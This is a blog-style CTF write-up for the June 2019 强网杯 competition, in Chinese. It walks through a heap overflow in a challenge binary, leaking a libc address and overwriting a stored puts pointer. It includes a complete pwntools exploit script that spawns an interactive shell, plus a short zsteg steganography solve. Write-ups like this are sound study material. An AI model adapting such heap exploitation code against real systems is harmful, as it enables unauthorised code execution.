avatar

CTF-强网杯-19年6月

PWN

0x01 强网先锋AP

文件下载 main
先用checksec检测一下

发现保护全开,所以不可以覆盖got表来实现跳转
用IDA分析main,发现没有free,所以不能使用unlink、double free等
在Change函数发现可以无限写漏洞,所以这一题是典型的堆溢出
然后再分析一下struct,如下

1
2
3
4
struct note{
char * context;
void * puts_addr;
}

溢出思路:我们只需要覆盖puts_addr为system函数,然后context修改为"/bin/sh"所在的地址,然后show一下就可以执行system("/bin/sh")了
但是我们首先需要知道libc的地址,然后推算出system函数的位置。
一、进行堆溢出,将fastbin溢出到PREV_INUSE
我们只需要写入40个’a’即可覆盖到PREV_INUSE的bk位置,bk位置恰好是__IO_puts,然后show一次就可以拿到libc了。

然后查询偏移拿到libc

二、最后我想办法覆盖puts函数和puts函数对应的指针,我们依旧可以考虑溢出第一个chunk到第二个chunk,然后show第二个chunk的数据,就可以拿到system("/bin/sh")了
附上exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = "debug"
sh = process("./main")
#sh = remote("117.78.37.77",30071)
elf = ELF("main")
def add(size,context):
sh.recvuntil("Choice >>")
sh.sendline("1")
sh.recvuntil("The length of my owner's name:")
sh.sendline(str(size))
sh.recvuntil("Give me my owner's name:")
sh.send(context)
def show(index):
sh.recvuntil("Choice >>")
sh.sendline("2")
sh.recvuntil("Please tell me which tickets would you want to open?")
sh.sendline(index)
def edit(index,size,context):
sh.recvuntil("Choice >>")
sh.sendline("3")
sh.recvuntil("nt to change it's owner's name?")
sh.sendline(index)
sh.recvuntil("The length of my owner's name:")
sh.sendline(str(size))
sh.recvuntil("Give me my owner's name:")
sh.send(context)
add(8,"a"*7)
add(8,'b'*7)
add(8,'c'*7)
add(8,'d'*7)
edit("0",60,'a'*40)
show("0")
sh.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
puts_got = u64(sh.recv(6)+"\x00\x00")
print "puts_got = " + hex(puts_got)
edit("0",1000, 'a'*8+'b'*8+'c'*8+'d'*8+p64(puts_got-0x2a300+
0x1479c7)+p64(puts_got-0x2a300)*2+'e'*8+'f'*8+p64(puts_got-0x2a300+
0x1479c7)*7)
show("1")
print "!! "+hex(puts_got-0x2a300+
0x1479c7)
sh.interactive()

运行结果:

拿到shell了

MISC

0x01

文件下载 瞅啥.rar
安装zsteg,然后输入zsteg 图片名

直接拿到flag

qwxf{you_say_chick_beautiful?}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/06/03/CTF-%E5%BC%BA%E7%BD%91%E6%9D%AF-19%E5%B9%B46%E6%9C%88/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论